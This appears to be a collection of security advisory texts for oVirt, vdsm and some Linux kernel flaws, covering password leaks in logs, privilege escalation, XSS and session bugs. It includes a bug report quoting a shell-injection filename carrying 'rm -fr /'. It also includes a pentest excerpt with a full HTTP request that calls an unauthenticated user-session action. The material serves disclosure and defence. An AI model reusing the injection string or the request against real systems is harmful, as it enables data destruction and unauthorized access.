Due to a missing nolog directive, the 'Add oVirt Provider to ManageIQ/CloudForms' playbook inadvertently disclosed admin passwords in the provisioning log. In an environment where logs are shared with other parties, this could lead to privilege escalation.

ovirt-engine before version ovirt 4.2.2 is vulnerable to an information exposure through log files. When engine-backup was run with one of the options "--provisiondb", the database username and password were logged in cleartext. Sharing the provisioning log might inadvertently leak database passwords.

A remote stack overflow in the TIPC networking module. With FORTIFYSOURCE's stricter memcpy() bounds checking, this can be exploited to cause remote DOS via kernel panic on systems using TIPC. Prior to these bounds checks, and with a canary leak (or no CONFIGSTACKPROTECTOR), this can be exploited for RCE.

Reference: https://www.openwall.com/lists/oss-security/2022/02/10/1

A vulnerability was discovered in vdsm, version 4.19 through 4.30.3 and 4.30.5 through 4.30.8. The systemdrun function exposed to the vdsm system user could be abused to execute arbitrary commands as root.

Dan Kenigsberg of Red Hat reports:

Description of problem: In numerous places, ovirt-node puts an input string on a command line, without safely quoting it. With this, whoever controls the input string may gain complete control on the host.

For example, http://gerrit.ovirt.org/gitweb?p=ovirt-node.git;a=blob;f=src/ovirtnode/ovirtfunctions.py;h=caef7ef019ca12b49aa3c030792538956fb4caad;hb=e11e02cd9256c854dd0419515097637d6829b4f1#l1091

"ls '%s'" % filename

is not going to end up well if the filename is actually "bla\'; rm -fr /; echo \'". pipes.quote() or its like must be used in such occasions.

It may be safer to disallow shell=True completely (but would require to avoid in-shell pipes).

Version-Release number of selected component (if applicable): ovirt-node-3.0.0-474-gb852fd7

It was discovered that in the ovirt's REST API before version 4.3.2.1, RemoveDiskCommand is triggered as an internal command, meaning the permission validation that should be performed against the calling user is skipped. A user with low privileges (eg Basic Operations) could exploit this flaw to delete disks attached to guests.

A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copypagetoiterpipe and pushpipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.

During HE deployment via cockpit-ovirt, cockpit-ovirt generates an ansible variable file /var/lib/ovirt-hosted-engine-setup/cockpit/ansibleVarFileXXXXXX.var which contains the admin and the appliance passwords as plain-text. At the of the deployment procedure, these files are deleted.

ovirt-engine 3.2 running on Linux kernel 3.1 and newer creates certain files world-writeable due to an upstream kernel change which impacted how python's os.chmod() works when passed a mode of '-1'.

oVirt Node: Lock screen accepts F2 to drop to shell causing privilege escalation

A flaw was found in ovirt-engine. When engine-setup is run and one chooses to provision the database manually or connect to a remote database, the password input is logged but filtered only later, after verification that it is correct.

References:

https://bugzilla.redhat.com/showbug.cgi?id=1540622

mom creates world-writable pid files in /var/run

An information disclosure in ovirt-hosted-engine-setup prior to 2.2.7 reveals the root user's password in the log file.

ovirt-engine API and administration web portal before versions 4.2.2.5, 4.1.11.2 is vulnerable to an exposure of Power Management credentials, including cleartext passwords to Host Administrators. A Host Administrator could use this flaw to gain access to the power management systems of hosts they control.

An authentication bypass vulnerability was found in overt-engine. This flaw allows the creation of users in the system without authentication due to a flaw in the CreateUserSession command.

It was reported that oVirt 3.2.2 and later did not correctly terminate sessions when a user logged out from the web interface (there are two sessions used between the browser and the backend: the engine and the restapi). Upon logout, only the engine session was invalidated but the restapi session persisted. If an attacker could obtain that session data and login with their own credentials, they could replace their session token with the stolen token and elevate their privileges to that of victim user. Note that in order for this to be exploited, the attacker must also have a valid login and authenticate successfully.

vdsm: certificate generation upon node creation allowing vdsm to start and serve requests from anyone who has a matching key (and certificate)

ovirt-engine before version 4.1.7.6 with log level set to DEBUG includes passwords in the log file without masking. Only administrators can change the log level and only administrators can access the logs. This presents a risk when debug-level logs are shared with vendors or other parties to troubleshoot issues.

It was found that vdsm before version 4.20.37 invokes qemu-img on untrusted inputs without limiting resources. By uploading a specially crafted image, an attacker could cause the qemu-img process to consume unbounded amounts of memory of CPU time, causing a denial of service condition that could potentially impact other users of the host.

Hello ovirt comunity.

We had an internal pentest here and one finding is Ovirt-engine authentication bypass.

Ovirt-engine, as deployed on ovirtm.XXX.XXX.cz, contains an authentication bypass. It is possible to directly call the CreateUserSessionCommand using runAction exposed by /ovirt-engine/webadmin/GenericApiGWTService.

This action explicitly enables everyone to call it: @Override protected boolean isUserAuthorizedToRunAction() { return true; }

The behavior of this call differs based on the ENGINESSOENABLEEXTERNALSSO configuration option:

boolean externalSsoEnabled = EngineLocalConfig.getInstance().getBoolean("ENGINESSOENABLEEXTERNALSSO"); DbUser dbUser = externalSsoEnabled ? dbUserDao.getByUsernameAndDomain(params.getPrincipalName(), authzName) : dbUserDao.getByExternalId(authzName, params.getPrincipalId());

If this option is enabled, usernames are used to locate users. If it's disabled, the externalId (which seems to be a randomly generated GUID) is used to locate users. If the specified user exists, a session is returned for the user. If the specified user doesn't exist, the user is created in the system. However, the user doesn't get assigned any group membership or rights, therefore the session creation fails because of the missing Login right. The attempt to modify the users table can be seen in the SQL error message when attempting to use a null value for the username (as the endpoint uses GWT, the payload is mostly unreadable):

POST /ovirt-engine/webadmin/GenericApiGWTService HTTP/1.1 Host: ovirtm.xxx.xxx.cz

14

Final Report: Results of penetration testing (internal, external, Wi-Fi) 21 December 2023

Cookie: JSESSIONID=wsp3WAo63LZGHfpBstEt4lZ7zzZycpzIprNlT.ovirtm45; Content-Type: text/x-gwt-rpc; charset=utf-8 X-GWT-Module-Base: https://ovirtm.xxx.xx.cz/ovirt-engine/webadmin X-GWT-Permutation: D7ECB5EF5E29205D18271CC08183A28D Ovirt-Xsrf-Token: 4D87D03B631F8506FC668AA4C3FE3F443D723A9F379FDBB8B0D6DA0668650375 Content-Length: 869

7|0|23|https://ovirtm.xxx.xxx.cz/ovirt- engine/webadmin|0D1B4DEE9D1424E18C443F1CD1C11574|org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWT

Service|runAction|org.ovirt.engine.core.common.action.ActionType/2930387551|org.ovirt.engine.core.commo n.action.ActionParametersBase/2903049429|org.ovirt.engine.core.common.action.CreateUserSessionParameter s/2744166832|appScope|email|firstName|java.util.ArrayList/4159755760|lastName|namespace|principalId|adm in|internal|sourceIp|ssoScope|ssoToken|org.ovirt.engine.core.common.action.ActionParametersBase$EndProc edure/1568822488|java.util.Collections$EmptyMap/4174664486|org.ovirt.engine.core.common.businessentitie s.VDSStatus/1938301532|org.ovirt.engine.core.compat.TransactionScopeOption/1475850853|1|2|3|4|2|5|6|5|2 01|7|0|8|9|10|11|0|12|13|14|0|16|17|18|19|0|5|0|0|0|0|20|1|0|11|0|0|0|0|0|0|21|0|- 4|22|0|1|0|1|23|2|0|0|0| HTTP/1.1 200 OK Date: Fri, 15 Dec 2023 09:42:35 GMT Server: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k modauthgssapi/1.6.1 Expires: Thu, 14 Dec 2023 09:42:35 GMT Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: locale=csCZ; path=/; secure; HttpOnly; Max-Age=2147483647; Expires=Wed, 02-Jan-2092 12:56:42 GMT X-XSS-PROTECTION: 1; MODE=BLOCK Pragma: no-cache X-FRAME-OPTIONS: SAMEORIGIN Content-Disposition: attachment X-CONTENT-TYPE-OPTIONS: NOSNIFF Content-Length: 1794 Content-Type: application/json;charset=utf-8 Correlation-Id: 664c1c1f-9a75-4e14-94d7-aba12c5442f5 Connection: close //OK[0,5,4,8,3,1,2,474,7,6,1,0,2,0,2,5,1,0,4,3,1,2,0,2,1,1,["org.ovirt.engine.core.common.action.Action ReturnValue/4163585948","java.util.ArrayList/4159755760","java.lang.String/2004016611","ENGINE","","org .ovirt.engine.core.common.errors.EngineFault/2377218566","org.ovirt.engine.core.common.errors.EngineErr or/2640515959","ERROR: null value in column \"username\" violates not-null constraint\n Detail: Failing row contains (6dad5e2f-7c95-4547-8f08-6936494c91b6, firstName, lastName, internal-authz, null, , email, , f, principalId, 2023-12-14 17:51:04.757747+01, 2023-12-15 10:42:35.125994+01, namespace, firstName@internal-authz).\n Where: SQL statement \"UPDATE users\n SET department \u003D vdepartment,\n domain \u003D vdomain,\n email \u003D vemail,\n name \u003D vname,\n note \u003D vnote,\n surname \u003D vsurname,\n username \u003D vusername,\n externalid \u003D vexternalid,\n namespace \u003D vnamespace,\n updatedate \u003D CURRENTTIMESTAMP\n WHERE externalid \u003D vexternalid\n AND domain \u003D vdomain\"\nPL/pgSQL function updateuserimpl(character varying,character varying,character varying,character varying,character varying,character varying,uuid,character varying,text,character varying) line 5 at SQL statement\nSQL statement \"SELECT UpdateUserImpl(\n vdepartment,\n vdomain,\n vemail,\n vname,\n vnote,\n vsurname,\n vuserid,\n vusername,\n vexternalid,\n vnamespace)\"\nPL/pgSQL function updateuser(character varying,character varying,character varying,character varying,character varying,character varying,uuid,character varying,boolean,text,character varying) line 3 at PERFORM"],0,7]

Fortunately, in our deplyoment the ENGINESSOENABLEEXTERNALSSO configuration was set to false, so to create a session for the admin it would be necessary to know the admin's user externalId. However, as this is not the default configuration, it is possible that a later reinstallation could change the value. Still, it was possible to create users in the system without any authentication.

Session fixation vulnerability in the web admin interface in oVirt 3.4.0 and earlier allows remote attackers to hijack web sessions via unspecified vectors.

A flaw was found in ovirt-engine 4.4.3 and earlier allowing an authenticated user to read other users' personal information, including name, email and public SSH key.

A flaw was found in Ovirt Engine's web interface in ovirt 4.4 and earlier, where it did not filter user-controllable parameters completely, resulting in a reflected cross-site scripting attack. This flaw allows an attacker to leverage a phishing attack, steal an unsuspecting user's cookies or other confidential information, or impersonate them within the application's context.

A cross-site scripting vulnerability was reported in ovirt-engine's OAuth authorization endpoint. URL parameters would be included in the HTML response without escaping, allowing an attacker to craft malicious HTML pages that could run scripts in the context of the user's ovirt session.

References:

https://lists.ovirt.org/archives/list/announce@ovirt.org/thread/RHF4BJIIRVEW3PQVDLJTDZO5AARQWO6U/

An HTML injection/reflected Cross-site scripting (XSS) vulnerability was found in the ovirt-engine. A parameter "errordescription" fails to sanitize the entry, allowing the vulnerability to trigger on the Windows Service Accounts home pages.

Sensitive passwords used in deployment and configuration of oVirt Metrics were found to be insufficiently protected. Passwords could be disclosed in log files (if playbooks are run with -v) or in playbooks stored on Metrics or Bastion hosts.

A flaw was found in the ovirt-log-collector, which led to the logging of plaintext passwords in the log file. This flaw allows an attacker with sufficient privileges to read the log file, leading to a loss of confidentiality.

It was found that the value of property DWHDBPASSWORD can be found in the log files.

Product bug:

https://bugzilla.redhat.com/showbug.cgi?id=1363816

The web console login form in ovirt-engine before version 4.2.3 returned different errors for non-existent users and invalid passwords, allowing an attacker to discover the names of valid user accounts.

It was reported that oVirt 3.1 did not properly validate SSL certificates of the server when the client would connect. This could permit man-in-the-middle attacks.

In oVirt sdk, the python httplib.HTTPSConnection function is used to let the programmer specify the client's pair of certificates, but does not force the underlying SSL library to check the server certificate against the client keys.

Because of this, the oVirt CLI tool does not check certificates upon connection.

The new python SDK (ovirt-engine-sdk) and new python CLI (ovirt-engine-cli) were introduced in oVirt 3.1 [1] ; earlier versions are not affected by this flaw.

This has been corrected in upstream git for the sdk [2] and the cli [3].

[1] http://wiki.ovirt.org/wiki/ReleaseNotes#Interfaces [2] http://gerrit.ovirt.org/#/c/7209/ [3] http://gerrit.ovirt.org/#/c/7249/